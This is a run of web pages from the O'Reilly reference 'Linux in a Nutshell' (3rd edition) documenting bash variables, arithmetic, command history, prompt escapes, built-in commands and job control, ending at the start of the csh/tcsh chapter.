DIRSTACK | List of directories manipulated by pushd and popd commands.
EUID | Effective user ID of process running this shell, in the form of the number recognized by the system.
GROUPS | Groups to which user belongs, in the form of the numbers recognized by the system.
HOME | Name of your home (login) directory.
HOSTNAME | Host the shell is running on.
HOSTTYPE | Short name indicating the type of machine the shell is running on; for instance, i486.
LINES | The number of lines your display has.
MACHTYPE | Long string indicating the machine the shell is running on; for instance, i486-pc-linux-gnu.
OLDPWD | Previous directory before the last cd command.
OSTYPE | Short string indicating the operating system; for instance, "linux-gnu."
PPID | Process ID of parent process that invoked this shell.
PWD | Current directory.
SECONDS | Number of seconds since the shell was invoked.
SHELL | Pathname of the shell you are running.
SHLVL | Depth to which running shells are nested.
TERM | The type of terminal that you are using.
UID | Real user ID of process running this shell, in the form of the number recognized by the system.

Previous | Home | Next
7.3. Syntax | Book Index | 7.5. Arithmetic Expressions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Arithmetic Expressions (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

7.5. Arithmetic Expressions

The let command performs integer arithmetic. bash provides a way to substitute integer values (for use as command arguments or in variables); base conversion is also possible:

Expression | Meaning
(( expr)) | Use the value of the enclosed arithmetic expression.

7.5.1. Operators

bash uses arithmetic operators from the C programming language; the following list is in decreasing order of precedence. Use parentheses to override precedence.

Operator | Meaning
- | Unary minus
! ~ | Logical negation; binary inversion (one's complement)
* / % | Multiplication; division; modulus (remainder)
+ - | Addition; subtraction
<< >> | Bitwise left shift; bitwise right shift
<= >= | Less than or equal to; greater than or equal to
< > | Less than; greater than
== != | Equality; inequality (both evaluated left to right)
& | Bitwise AND
^ | Bitwise exclusive OR
| | Bitwise OR
&& | Logical AND
|| | Logical OR
= | Assign value.
+= -= | Reassign after addition/subtraction
*= /= %= | Reassign after multiplication/division/remainder
&= ^= |= | Reassign after bitwise AND/XOR/OR
<<= >>= | Reassign after bitwise shift left/right

7.5.2. Examples

See the let built-in command for more information and examples.

let "count=0" "i = i + 1"   Assign i and count
let "num % 2"               Test for an even number

Previous | Home | Next
7.4. Variables | Book Index | 7.6. Command History
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Command History (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

7.6. Command History

bash lets you display or modify previous commands. This is similar to the C shell's history mechanism. Commands in the history list can be modified using:

  • Line-edit mode

  • The fc command

In addition, the command substitutions described in Chapter 8, "csh and tcsh", also work in bash.

7.6.1. Line-Edit Mode

Line-edit mode lets you emulate many features of the vi or Emacs editors. The history list is treated like a file. When the editor is invoked, you type editing keystrokes to move to the command line you want to execute. Arrow keys work on most terminals in both Emacs mode and vi command mode. You also can change the line before executing it. See Table 7-23 for some examples of common line-edit commands. When you're ready to issue the command, press Return.

The default line-edit mode is Emacs. To enable vi mode, enter:

$ set -o vi

Note that vi starts in input mode; to type a vi command, press Esc first.

The mode you use for editing bash commands is an entirely separate choice from the editor that is invoked for you automatically within many commands (for instance, the editor mail readers invoke when you ask them to create a new mail message). To change the default editor, set the VISUAL or EDITOR variable to the filename or full pathname of your favorite editor:

$ export EDITOR=emacs

Table 7-23. Common Editing Keystrokes

vi | Emacs | Result
k | Ctrl-P | Get previous command.
j | Ctrl-N | Get next command.
/string | Ctrl-R string | Get previous command containing string.
h | Ctrl-B | Move back one character.
l | Ctrl-F | Move forward one character.
b | Esc B | Move back one word.
w | Esc F | Move forward one word.
X | Del | Delete previous character.
x | Ctrl-D | Delete one character.
dw | Esc D | Delete word forward.
db | Esc H | Delete word back.
xp | Ctrl-T | Transpose two characters.

7.6.2. The fc Command

Use fc -l to list history commands and fc -e to edit them. See the entry under built-in commands for more information.

7.6.2.1. Examples

$ history          List the last 16 commands
$ fc -l 20 30      List commands 20 through 30
$ fc -l -5         List the last five commands
$ fc -l cat        List the last command beginning with cat
$ fc -ln 5 > doit  Save command 5 to file doit
$ fc -e vi 5 20    Edit commands 5 through 20 using vi
$ fc -e emacs      Edit previous command using Emacs
$ !!               Reexecute previous command
$ !cat             Reexecute last cat command
$ !cat foo-file    Reexecute last command, adding foo-file to the end of the argument list

7.6.3. Command Substitution

Syntax | Meaning
! | Begin a history substitution.
!! | Previous command.
!N | Command number N in history list.
!-N | Nth command back from current command.
!string | Most recent command that starts with string.
!?string? | Most recent command that contains string.
!?string?% | Most recent command argument that contains string.
!$ | Last argument of previous command.
!# | The current command up to this point.
!!string | Previous command, then append string.
!N string | Command N, then append string.
!{s1}s2 | Most recent command starting with string s1, then append string s2.
^old^new^ | Quick substitution; change string old to new in previous command; execute modified command.

7.6.4. Variables in Prompt

Using the following variables, you can display information about the current state of the shell or the system in your bash prompt. Set the PS1 variable to a string including the desired variables. For instance, the following command sets PS1 to a string that includes the \w variable in order to display the current working directory and the \! variable in order to display the number of the current command. The next line is the prompt displayed by the change.

$ PS1='\w: Command \!$ '
~/book/linux: Command 504$

Some of the prompt variables are relatively new, such as \j and \l, so they may not be supported in your version of bash.

Variable | Meaning
\a | Alarm (bell)
\d | Date in the format "Mon May 8"
\e | Escape character (terminal escape, not backslash)
\h | Hostname
\j | Number of background jobs (active or stopped)
\l | Current terminal name
\n | Newline inserted in the prompt
\r | Carriage return inserted in the prompt
\s | Current shell
\t | Time in 24-hour format, where 3:30 p.m. appears as 15:30:00
\u | User's account name
\v | Version and release of bash
\w | Current working directory
\H | Like \h
\T | Time in 12-hour format, where 3:30 p.m. appears as 03:30:00
\V | Version, release, and patch level of bash
\W | Last element (following last slash) of current working directory
\\ | Single backslash inserted in the prompt
\! | Number of current command in the command history
\# | Number of current command, where numbers started at 1 when the shell started
\@ | Time in 12-hour format, where 3:30 P.M. appears as 03:30 p.m.
\$ | Indicates whether you are root: displays # for root, $ for other users
\[ | Starts a sequence of nonprinting characters, to be ended by \]
\] | Ends the sequence of nonprinting characters started by \[
\nnn | The character in the ASCII set corresponding to the octal number nnn inserted into the prompt
Previous | Home | Next
7.5. Arithmetic Expressions | Book Index | 7.7. Built-in Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Built-in Commands (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

7.7. Built-in Commands

Examples to be entered as a command line are shown with the $ prompt. Otherwise, examples should be treated as code fragments that might be included in a shell script. For convenience, some of the reserved words used by multiline commands also are included.

#

#

Ignore all text that follows on the same line. # is used in shell scripts as the comment character and is not really a command.

#!

#!shell

Used as the first line of a script to invoke the named shell (with optional arguments). Some older, non-Linux systems do not support scripts starting with this line. For example:

#!/bin/bash
:

:

Null command. Returns an exit status of 0. Sometimes used as the first character in a file to denote a bash script. Shell variables can be placed after the : to expand them to their values.

Example

Check whether someone is logged in:

if who | grep $1 > /dev/null
then :     # do nothing
     # if pattern is found
else echo "User $1 is not logged in"
fi
.

. file [arguments]

Same as source.

alias

alias [-p] [name[='cmd']]

Assign a shorthand name as a synonym for cmd. If ='cmd' is omitted, print the alias for name; if name also is omitted or if [-p] is specified, print all aliases. See also unalias.

bg

bg [jobIDs]

Put current job or jobIDs in the background. See Section 7.8, "Job Control" later in this chapter.

bind

bind [options]

bind [options] key:function

Print or set the bindings that allow keys to invoke functions such as cursor movement and line editing. Typical syntax choices for keys are "\C-t" for Ctrl-T and "\M-t" or "\et" for Esc T (quoting is needed to escape the sequences from the shell). Function names can be seen though the -l option.

Options

-f filename

Consult filename for bindings, which should be in the same format as on the bind command line.

-l

Print all Readline functions, which are functions that can be bound to keys.

-m keymap

Specify a keymap for this and further bindings. Possible keymaps are emacs, emacs-standard, emacs-meta, emacs-ctlx, vi, vi-move, vi-command, and vi-insert.

-p

Display all functions and the keys that invoke them, in the format by which keys can be set.

-q function

Display the key bindings that invoke function.

-r key

Remove the binding attached to key, so it no longer works.

-s

Display all macros and the keys that invoke them, in the format by which keys can be set.

-u function

Remove all the bindings attached to function, so no keys will invoke it.

-v

Display all Readline variables (settings that affect history and line editing) and their current settings, in the format by which variables can be set.

-x key:command

Bind key to a shell command (recent; not in all bash versions in common use).

-P

Display all bound keys and the functions they invoke.

-S

Display all macros and the keys that invoke them.

-V

Display all Readline variables (settings that affect history and line editing) and their current settings.

Example

Bind Ctrl-T to copy-forward-word, the function that copies the part of the word following the cursor so it can be repasted:

$ bind "\C-t":copy-forward-word
break

break [n]

Exit from the innermost (most deeply nested) for, while, or until loop, or from the n innermost levels of the loop. Also exits from a select list.

builtin

builtin command [arguments]

Execute command, which must be a shell built-in. Useful for invoking built-ins within scripts of the same name.

case

case string

in

regex)

commands

;;

...

esac

If string matches regular expression regex, perform the following commands. Proceed down the list of regular expressions until one is found (to catch all remaining strings, use * as regex at the end).

cd

cd [dir&]

With no arguments, change to home directory of user. Otherwise, change working directory to dir. If dir is a relative pathname but is not in the current directory, then the CDPATH variable is searched.

command

command [options] command [arguments]

Execute command; do not perform function look-up (i.e., refuse to run any command that is neither in PATH nor a built-in). Set exit status to that returned by command, unless command cannot be found, in which case exit with a status of 127.

-p

Search default path, ignoring the PATH variable's value.

--

Treat everything that follows as an argument, not an option.

continue

continue [n]

Skip remaining commands in a for, while, or until loop, resuming with the next iteration of the loop (or skipping n loops).

declare

declare [options] [name[=value]]

typeset [options] [name[=value]]

Print or set variables. Options prefaced by + instead of - are inverted in meaning.

-a

Treat the following names as array variables.

-f

Treat the following names as functions.

-i

Expect variable to be an integer, and evaluate its assigned value.

-p

Print names and settings of all shell variables and functions; take no other action.

-r

Do not allow variables to be reset later.

-x

Mark variables for subsequent export.

-F

Print names of all shell functions; take no other action.

dirs

dirs [options]

Print directories currently remembered for pushd/popd operations.

Options

+entry

Print entryth entry (list starts at 0).

-entry

Print entryth entry from end of list.

-l

Long listing.

disown

disown [options] [jobIDs]

Let job run, but disassociate it from the shell. By default, do not even list the job as an active job; commands like jobs and fg will no longer recognize it. When -h is specified, the job is recognized but simply is kept from being killed when the shell dies.

Options

-a

Act on all jobs.

-h

Do not pass a SIGHUP signal received by the shell on to the job.

echo

echo [options] [string]

Write string to standard output, terminated by a newline. If no string is supplied, echo a newline. In bash, echo is just an alias for print -. (See also echo in Chapter 3, "Linux Commands").

-e

Enable interpretation of escape characters:

\a

Audible alert

\b

Backspace

\c

Suppress the terminating newline (same as -n)

\f

Form feed

\n

Newline

\r

Carriage return

\t

Horizontal tab

\v

Vertical tab

\\

Backslash

\nnn

The character in the ASCII set corresponding to the octal number nnn.

\x nnn

The character in the ASCII set corresponding to the hexadecimal number nnn.

-n

Do not append a newline to the output.

-E

Disable interpretation of escape characters.

enable

enable [options] [built-in ...]

Enable (or when -n is specified, disable) built-in shell commands. Without built-in argument or with -p option, print enabled built-ins. With -a, print the status of all built-ins. You can disable shell commands in order to define your own functions with the same names.

Options

-a

Display all built-ins, both enabled and disabled.

-n builtin

Disable builtin.

-p

Display enabled built-ins.

-s

Restrict display to special built-ins defined by POSIX standard.

eval

eval [command args...]

Perform command, passing args.

exec

exec [options] [command]

Execute command in place of the current process (instead of creating a new process). exec also is useful for opening, closing, or copying file descriptors.

Options

-a name

Tell command that it was invoked as name.

-c

Remove all environment variables from the process when the new command runs.

-l

Treat the new process as if the user were logging in.

Examples

$ trap 'exec 2>&-' 0     Close standard error when
     shell script exits (signal 0)
$ exec /bin/tcsh         Replace current shell with extended C shell
$ exec < infile          Reassign standard input to infile
exit

exit [n]

Exit a shell script with status n (e.g., exit 1). n can be zero (success) or nonzero (failure). If n is not given, exit status will be that of the most recent command. exit can be issued at the command line to close a window (log out).

Example

if [ $# -eq 0 ]; then
   echo "Usage:  $0 [-c] [-d] file(s)"
   exit 1     # Error status
fi
export

export [options] [variables]

export [options] [name=[value]]...

Pass (export) the value of one or more shell variables, giving global meaning to the variables (which are local by default). For example, a variable defined in one shell script must be exported if its value will be used in other programs called by the script. If no variables are given, export lists the variables exported by the current shell. If name and value are specified, assign value to a variable name.

Options

--

Treat all subsequent strings as arguments, not options.

-f

Expect variables to be functions.

-n

Unexport variable.

-p

List variables exported by current shell.

fc

fc [options] [first] [last]

fc -e - [old=new] [command]

Display or edit commands in the history list. (Use only one of -l or -e.) fc provides capabilities similar to the C shell's history and ! syntax. first and last are numbers or strings specifying the range of commands to display or edit. If last is omitted, fc applies to a single command (specified by first). If both first and last are omitted, fc edits the previous command or lists the last 16. The second form of fc takes a history command, replaces old string with new string, and executes the modified command. If no strings are specified, command is just reexecuted. If no command is given either, the previous command is reexecuted. command is a number or string like first. See examples under Section 7.6, "Command History".

Options

-e [editor]

Invoke editor to edit the specified history commands. The default editor is set by the shell variable FCEDIT.

-l [first last]

List the specified command or range of commands, or list the last 16.

-n

Suppress command numbering from the -l listing.

-r

Reverse the order of the -l listing.

-s pattern=newpattern

Edit command(s), replacing all occurrences of pattern with newpattern. Then reexecute.

fg

fg [jobIDs]

Bring current job or jobIDs to the foreground. See Section 7.8, "Job Control".

for

for x [in list]

do

commands

done

Assign each word in list to x in turn and execute commands. If list is omitted, $@ (positional parameters) is assumed.

Examples

Paginate all files in the current directory; save each result:

for file in *
do
     pr $file > $file.tmp
done

Search chapters for a list of words (like fgrep -f):

for item in `cat program_list`
do
     echo "Checking chapters for"
     echo "references to program $item..."
     grep -c "$item.[co]" chap*
done
function

function command

{

...

}

Define a function. Refer to arguments the same way as positional parameters in a shell script ($1, etc.) and terminate with }.

getopts

getopts string name [args]

Process command-line arguments (or args, if specified) and check for legal options. getopts is used in shell script loops and is intended to ensure standard syntax for command-line options. string contains the option letters to be recognized by getopts when running the shell script. Valid options are processed in turn and stored in the shell variable name. If an option letter is followed by a colon, the option must be followed by one or more arguments.

hash

hash [-r] [commands]

Search for commands and remember the directory in which each command resides. Hashing causes the shell to remember the association between a "name" and the absolute pathname of an executable, so that future executions don't require a search of PATH. With no arguments, hash lists the current hashed commands. The display shows hits (the number of times the command is called by the shell) and command (the full pathname).

help

help [-s] [string]

Print help text on all built-in commands or those matching string. With -s, display only brief syntax, otherwise display summary paragraph also.

history

history [options]

history [lines]

Print a numbered command history, denoting modified commands with a *. Include commands from previous sessions. You may specify how many lines of history to print.

Options

-a [file]

bash maintains a file called .bash_history in the user's home directory, a record of previous sessions' commands. Ask bash to append the current session's commands to .bash_history or to file.

-c

Clear history list: remove all previously entered commands from the list remembered by the shell.

-n [file]

Append to the history list those lines in the .bash_history file or in file that have not yet been included.

-r [file]

Use .bash_history or file as the history list, instead of the working history list.

-s command

Add command to working history list without executing it.

-w [file]

Overwrite .bash_history or file with working history list.

if

if test-cmds

Begin a conditional statement. Possible formats are:

if test-cmds    if test-cmds      if test-cmds
then          then             then
   cmds1        cmds1             cmds1
fi            else             elif test-cmds
                cmds2          then
              fi                  cmds2
                              ...
                               else
                                  cmdsn
                               fi

Usually, the initial if and any elif lines execute one test or [] command (although any series of commands is permitted). When if succeeds (that is, the last of its test-cmds returns 0), cmds1 are performed; otherwise each succeeding elif or else line is tried.

jobs

jobs [options] [jobIDs]

List all running or stopped jobs, or those specified by jobIDs. For example, you can check whether a long compilation or text format is still running. Also useful before logging out. See also Section 7.8, "Job Control" later in this chapter.

Options

-l

List job IDs and process group IDs.

-n

List only jobs whose status changed since last notification.

-p

List process group IDs only.

-r

List active, running jobs only.

-s

List stopped jobs only.

-x command [arguments]

Execute command. If jobIDs are specified, replace them with command.

kill

kill [options] IDs

Terminate each specified process ID or job ID. You must own the process or be a privileged user. See also Section 7.8, "Job Control".

Options

-signal

The signal number (from ps -f) or name (from kill -l). With a signal number of 9, the kill cannot be caught. The default is TERM.

--

Consider all subsequent strings to be arguments, not options.

-l

List the signal names. (Used by itself.)

-s signal

Specify signal. May be a name.

let

let expressions

Perform arithmetic as specified by one or more integer expressions. expressions consist of numbers, operators, and shell variables (which don't need a preceding $). Expressions must be quoted if they contain spaces or other special characters. For more information and examples, see Section 7.5, "Arithmetic Expressions" earlier in this chapter. See also expr in Chapter 3, "Linux Commands".

Examples

Both of the following examples add 1 to variable i:

let i=i+1
let "i = i + 1"
local

local [options] [variable[=value]] [variable2[=value]] ...

Without arguments, print all local variables. Otherwise, create (and set, if specified) one or more local variables. See the declare built-in command for options.

logout

logout [status]

Exit the shell, returning status as exit status to invoking program if specified. Can be used only in a login shell. Otherwise, use exit.

popd

popd [options]

Manipulate the directory stack. By default, remove the top directory and cd to it.

Options

+n

Remove the nth directory in the stack, counting from 0.

-n

Remove nth entry from the bottom of the stack, counting from 0.

printf

printf string [arguments]

Format a string like the C library printf function. Standard percent-sign formats are recognized in string, such as %i for integer. Escape sequences such as \n can be included in string and are automatically recognized; if you want to include them in arguments, specify a string of %b. You can escape characters in arguments to output a string suitable for input to other commands by specifying a string of %q.

Examples

$ printf "Previous command: %i\n" "$(($HISTCMD-1))"
Previous command: 534
$ echo $PAGER
less -E
$ printf "%q\n" "\t$PAGER"
\\tless\ -E

The last command probably would be used to record a setting in a file where it could be read and assigned by another shell script.

pushd

pushd directory

pushd [options]

By default, switch top two directories on stack. If specified, add a new directory to the top of the stack instead, and cd to it.

Options

+n

Rotate the stack to place the nth (counting from 0) directory at the top.

-n

Rotate the stack to place the nth directory from the bottom of the stack at the top.

pwd

pwd [-P]

Display the current working directory's absolute pathname. By default, any symbolic directories used when reaching the current directory are displayed, but with the -P option the real names are displayed instead.

read

read [options] variable1 [variable2 ...]

Read one line of standard input, and assign each word (as defined by IFS) to the corresponding variable, with all leftover words assigned to the last variable. If only one variable is specified, the entire line will be assigned to that variable. The return status is 0 unless EOF is reached, a distinction that is useful for running loops over input files. If no variable names are provided, read the entire string into the environment variable REPLY.

Options

-a var

Read each word into an element of var, which is treated as an array variable.

-d char

Stop reading the line at char instead of at the newline.

-e

Line editing and command history are enabled during input.

-n num

Read only num characters from the line.

-p string

Display the prompt string to the user before reading each line, if input is interactive.

-r

Raw mode; ignore \ as a line continuation character.

-s

Do not echo the characters entered by the user (useful for reading a password).

-t seconds

Time out and return without setting any variables if input is interactive and no input has been entered for seconds seconds.

Examples

$ read first last address
Sarah Caldwell 123 Main Street
$ echo "$last, $first\n$address"
Caldwell, Sarah
123 Main Street

The following commands, which read a password into the variable $user_pw and then display its value, use recently added options that are not in all versions of bash in current use.

$ read -sp "Enter password (will not appear on screen)" user_pw
Enter password (will not appear on screen)
$ echo $user_pw
You weren't supposed to know!

The following script reads input from the system's password file, which uses colons to delimit fields (making it a popular subject for examples of input parsing).

IFS=:
cat /etc/passwd |
while
read account pw user group gecos home shell
do
echo "Account name $account has user info: $gecos"
done
readonly

readonly [options] [variable1 variable2 ...]

Prevent the specified shell variables from being assigned new values. Variables can be accessed (read) but not overwritten. In bash, the syntax variable=value can be used to assign a new value that cannot be changed.

Options

-a

Treat the following names as array variables.

-f

Treat the following names as functions, and set them read-only so that they cannot be changed.

-p

Display all read-only variables (default).

return

return [n]

Used inside a function definition. Exit the function with status n or with the exit status of the previously executed command.

select

select name [ in wordlist ; ]

do

commands

done

Choose a value for name by displaying the words in wordlist to the user and prompting for a choice. Store user input in the variable REPLY and the chosen word in name. Then execute commands repeatedly until they execute a break or return. Default prompt can be changed by setting the PS3 shell variable.

set

set [options] [arg1 arg2 ...]

With no arguments, set prints the values of all variables known to the current shell. Options can be enabled (-option) or disabled (+option). Options also can be set when the shell is invoked, via bash. Arguments are assigned in order to $1, $2, and so on.

Options

-

Turn off -v and -x, and turn off option processing.

--

Used as the last option; -- turns off option processing so that arguments beginning with - are not misinterpreted as options. (For example, you can set $1 to -1.) If no arguments are given after --, unset the positional parameters.

-a

From now on, automatically mark variables for export after defining or changing them.

-b

Report background job status at termination, instead of waiting for next shell prompt.

-e

Exit if a command yields a nonzero exit status.

-f

Do not expand filename metacharacters (e.g., * ? [ ]). Wildcard expansion is sometimes called globbing.

-h

Locate commands as they are defined, and remember them.

-k

Assignment of environment variables (var=value) will take effect regardless of where they appear on the command line. Normally, assignments must precede the command name.

-m

Monitor mode. Enable job control; background jobs executes in a separate process group. -m usually is set automatically.

-n

Read commands, but don't execute. Useful for checking errors, particularly for shell scripts.

-o [m]

List shell modes, or turn on mode m. Many modes can be set by other options. The modes can be turned off through the +o option. Modes are:

allexport

Same as -a.

braceexpand

Same as -B.

emacs

Enter Emacs editing mode (on by default).

errexit

Same as -e.

hashall

Same as -h.

histexpand

Same as -H.

history

Default. Preserve command history.

ignoreeof

Don't allow use of a single Ctrl-D (the end-of-file or EOF character) to log off; use the exit command to log off. This has the same effect as setting the shell variable IGNOREEOF=1.

interactive-comments

Treat all words beginning with #, and all subsequent words, as comments.

keyword

Same as -k.

monitor

Same as -m.

noclobber

Same as -C.

noexec

Same as -n.

noglob

Same as -f.

notify

Same as -b.

nounset

Same as -u.

onecmd

Same as -t.

physical

Same as -P.

posix

Match POSIX standard.

privileged

Same as -p.

verbose

Same as -v.

vi

Enable vi-style command-line editing.

xtrace

Same as -x.

+o [m]

Display modes or turn off mode m. See the -o option for a list of modes.

-p

Start up as a privileged user; don't process $HOME/.profile.

-t

Exit after one command is executed.

-u

Indicate an error when user tries to use a variable that is undefined.

-v

Show each shell command line when read.

-x

Show commands and arguments when executed, preceded by a + or the prompt defined by the PS4 shell variable. This provides step-by-step debugging of shell scripts. (Same as -o xtrace.)

-B

Default. Enable brace expansion.

-C

Don't allow output redirection (>) to overwrite an existing file.

-H

Default. Enable ! and !! commands.

-P

Print absolute pathnames in response to pwd. By default, bash includes symbolic links in its response to pwd.

Examples

set -- "$num" -20 -30  Set $1 to $num, $2 to -20, $3 to -30
set -vx                Read each command line; show it;
                                              execute it; show it again (with arguments)
set +x                 Stop command tracing
set -o noclobber       Prevent file overwriting
set +o noclobber       Allow file overwriting again
shift

shift [n]

Shift positional arguments (e.g., $2 becomes $1). If n is given, shift to the left n places.

source

source file [arguments]

Read and execute lines in file. file does not have to be executable but must reside in a directory searched by PATH.

suspend

suspend [-f]

Same as Ctrl-Z. Often used to stop an su command.

Option

-f

Force suspend, even if shell is a login shell.

test

test condition

or

[ condition ]

Evaluate a condition and, if its value is true, return a zero exit status; otherwise, return a nonzero exit status. An alternate form of the command uses [] rather than the word test. condition is constructed using the following expressions. Conditions are true if the description holds true.

File conditions

-a file

file exists.

-b file

file is a block special file.

-c file

file is a character special file.

-d file

file is a directory.

-e file

file exists.

-f file

file is a regular file.

-g file

file has the set-group-ID bit set.

-h file

file is a symbolic link.

-k file

file has its sticky bit (no longer used) set.

-p file

file is a named pipe (FIFO).

-r file

file is readable.

-s file

file has a size greater than 0.

-t [n]

The open file descriptor n is associated with a terminal device; default n is 1.

-u file

file has its set-user-ID bit set.

-w file

file is writable.

-x file

file is executable.

-G file

file's group is the process's effective group ID.

-L file

file is a symbolic link.

-N file

file has been modified since its last time of access.

-O file

file's owner is the process's effective user ID.

-S file

file is a socket.

f1 -ef f2

Files f1 and f2 are linked (refer to same file through a hard link).

f1 -nt f2

File f1 is newer than f2.

f1 -ot f2

File f1 is older than f2.

String conditions

-n s1

String s1 has nonzero length.

-o s1

Shell option s1 is set. Shell options are described under the set built-in command.

-z s1

String s1 has 0 length.

s1 = s2

Strings s1 and s2 are identical.

s1 == s2

Strings s1 and s2 are identical.

s1 != s2

Strings s1 and s2 are not identical.

s1 < s2

String s1 is lower in the alphabet (or other sort in use) than s2. By default, the check is performed character-by-character against the ASCII character set.

s1 > s2

String s1 is higher in the alphabet (or other sort in use) than s2.

string

string is not null.

Integer comparisons

n1 -eq n2

n1 equals n2.

n1 -ge n2

n1 is greater than or equal to n2.

n1 -gt n2

n1 is greater than n2.

n1 -le n2

n1 is less than or equal to n2.

n1 -lt n2

n1 is less than n2.

n1 -ne n2

n1 does not equal n2.

Combined forms

! condition

True if condition is false.

condition1 -a condition2

True if both conditions are true.

condition1 -o condition2

True if either condition is true.

Examples

Each of the following examples shows the first line of various statements that might use a test condition:

while test $# -gt 0            While there are arguments . . .
while [ -n "$1" ]              While the first argument is nonempty . . .
if [ $count -lt 10 ]           If $count is less than 10 . . .
if [ -d RCS ]                  If the RCS directory exists . . .
if [ "$answer" != "y" ]        If the answer is not y . . .
if [ ! -r "$1" -o ! -f "$1" ]  If the first argument is not a
               readable file or a regular file . . .
times

times

Print accumulated process times for user and system.

trap

trap [-l] [ [commands] signals]

Execute commands if any of signals is received. Common signals include 0, 1, 2, and 15. Multiple commands should be quoted as a group and separated by semicolons internally. If commands is the null string (i.e., trap ""signals), then signals will be ignored by the shell. If commands is omitted entirely, reset processing of specified signals to the default action. If both commands and signals are omitted, list current trap assignments. See examples at the end of this entry and under exec.

Option

-l

List signals.

Signals

Signals are listed along with what triggers them.

0

Exit from shell (usually when shell script finishes).

1

Hang up (usually logout).

2

Interrupt (usually through Ctrl-C).

3

Quit.

4

Illegal instruction.

5

Trace trap.

6

Abort.

7

Unused.

8

Floating-point exception.

9

Termination.

10

User-defined.

11

Reference to invalid memory.

12

User-defined.

13

Write to a pipe without a process to read it.

14

Alarm timeout.

15

Software termination (usually via kill).

16

Unused.

17

Termination of child process.

18

Continue (if stopped).

19

Stop process.

20

Process suspended (usually through Ctrl-Z).

21

Background process has tty input.

22

Background process has tty output.

23

Unused.

24

Unused.

25

Unused.

26

Unused.

27

Unused.

28

Unused.

29

I/O possible on a channel.

Examples

trap "" 2     Ignore signal 2 (interrupts)
trap 2        Obey interrupts again

Remove a $tmp file when the shell program exits or if the user logs out, presses Ctrl-C, or does a kill:

trap "rm -f $tmp; exit" 0 1 2 15
type

type [options] commands

Report absolute pathname of programs invoked for commands and whether or not they are hashed.

--

Consider all subsequent strings to be arguments, not options.

-a, -all

Print all occurrences of command, not just that which would be invoked.

-p, -path

Print the hashed value of command, which may differ from the first appearance of command in the PATH.

-t, -type

Determine and state if command is an alias, keyword, function, built-in, or file.

Example

$ type mv read
mv is /bin/mv
read is a shell built-in
typeset

typeset

See declare.

ulimit

ulimit [options] [n]

Print the value of one or more resource limits, or, if n is specified, set a resource limit to n. Resource limits can be either hard (-H) or soft (-S). By default, ulimit sets both limits or prints the soft limit. The options determine which resource is acted on.

Options

--

Consider all subsequent strings to be arguments, not options.

-a

Print all current limits.

-H

Hard resource limit.

-S

Soft resource limit.

Specific limits

These options limit specific resource sizes.

-c

Core files.

-d

Size of processes' data segments.

-f

Size of shell-created files.

-l

Size of memory that the process can lock.

-m

Resident set size.

-n

Number of file descriptors. On many systems, this cannot be set.

-p

Pipe size, measured in blocks of 512 bytes.

-s

Stack size.

-t

Amount of CPU time, counted in seconds.

-u

Number of processes per user.

-v

Virtual memory used by shell.

umask

umask [nnn]

umask [-p] [-S]

Display file creation mask or set file creation mask to octal value nnn. The file creation mask determines which permission bits are turned off (e.g., umask 002 produces rw-rw-r--).

Options

-p

Display mask within an umask command so that a caller can read and execute it.

-S

Display umask symbolically, rather than in octal.

unalias

unalias [-a] names

Remove names from the alias list. See also alias.

Option

-a

Remove all aliases.

unset

unset [options] names

Erase definitions of functions or variables listed in names.

Options

-f

Expect name to refer to a function.

-v

Expect name to refer to a variable (default).

until

until

test-commands

do

commands

done

Execute test-commands (usually a test or [ ] command), and if the exit status is nonzero (that is, the test fails), perform commands; repeat.

wait

wait [ID]

Pause in execution until all background jobs complete (exit status 0 will be returned), or pause until the specified background process ID or job ID completes (exit status of ID is returned). Note that the shell variable $! contains the process ID of the most recent background process. If job control is not in effect, ID can be only a process ID number. See Section 7.8, "Job Control".

Example

wait $! Wait for last background process to finish
while

while

test-commands

do

commands

done

Execute test-commands (usually a test or [] command) and if the exit status is 0, perform commands; repeat.

Previous | Home | Next
7.6. Command History | Book Index | 7.8. Job Control
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Job Control (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

7.8. Job Control

Job control lets you place foreground jobs in the background, bring background jobs to the foreground, or suspend (temporarily stop) running jobs. Job control is enabled by default. Once disabled, it can be reenabled by any of the following commands:

bash -m -i
set -m
set -o monitor

Many job control commands take jobID as an argument. This argument can be specified as follows:

%n

Job number n

%s

Job whose command line starts with string s

%?s

Job whose command line contains string s

%%

Current job

%+

Current job (same as preceding)

%-

Previous job

bash provides the following job control commands. For more information on these commands, see Section 7.7, "Built-in Commands" earlier in this chapter.

bg

Put a job in the background.

fg

Put a job in the foreground.

jobs

List active jobs.

kill

Terminate a job.

stop

Suspend a background job.

stty tostop

Stop background jobs if they try to send output to the terminal.

wait

Wait for background jobs to finish.

Ctrl-Z

Suspend a foreground job. Then use bg or fg to restart it in the background or foreground. (Your terminal may use something other than Ctrl-Z as the suspend character.)

Previous | Home | Next
7.7. Built-in Commands | Book Index | 8. csh and tcsh
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


csh and tcsh (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 8. csh and tcsh

Contents:

Overview of Features
Invoking the Shell
Syntax
Variables
Expressions
Command History
Command-Line Manipulation
Job Control
Built-in csh and tcsh Commands

This chapter describes the C shell and its enhancement, tcsh. On some versions of Linux, tcsh is used as the C shell; in that case, the tcsh features described in this chapter work even when you run csh. The C shell was so named because many of its programming constructs and symbols resemble those of the C programming language.

The default shell on Linux systems is bash. If you want to use csh or tcsh, you first need to change your default. Each user's shell preference is kept in the password table. If you are creating an account, you can set the default shell when you add the user. If the account already exists, use the chsh command to change the shell (see the command descriptions in Chapter 3, "Linux Commands").

The following topics are presented in this chapter:

  • Overview of features

  • Invoking the shell

  • Syntax

  • Variables

  • Expressions

  • Command history

  • Command-line manipulation

  • Job control

  • Built-in commands

8.1. Overview of Features

Features of the C shell include:

  • Input/output redirection

  • Wildcard characters (metacharacters) for filename abbreviation

  • Shell variables for customizing your environment

  • Integer arithmetic

  • Access to previous commands (command history)

  • Command-name abbreviation (aliasing)

  • A built-in command set for writing shell programs

  • Job control

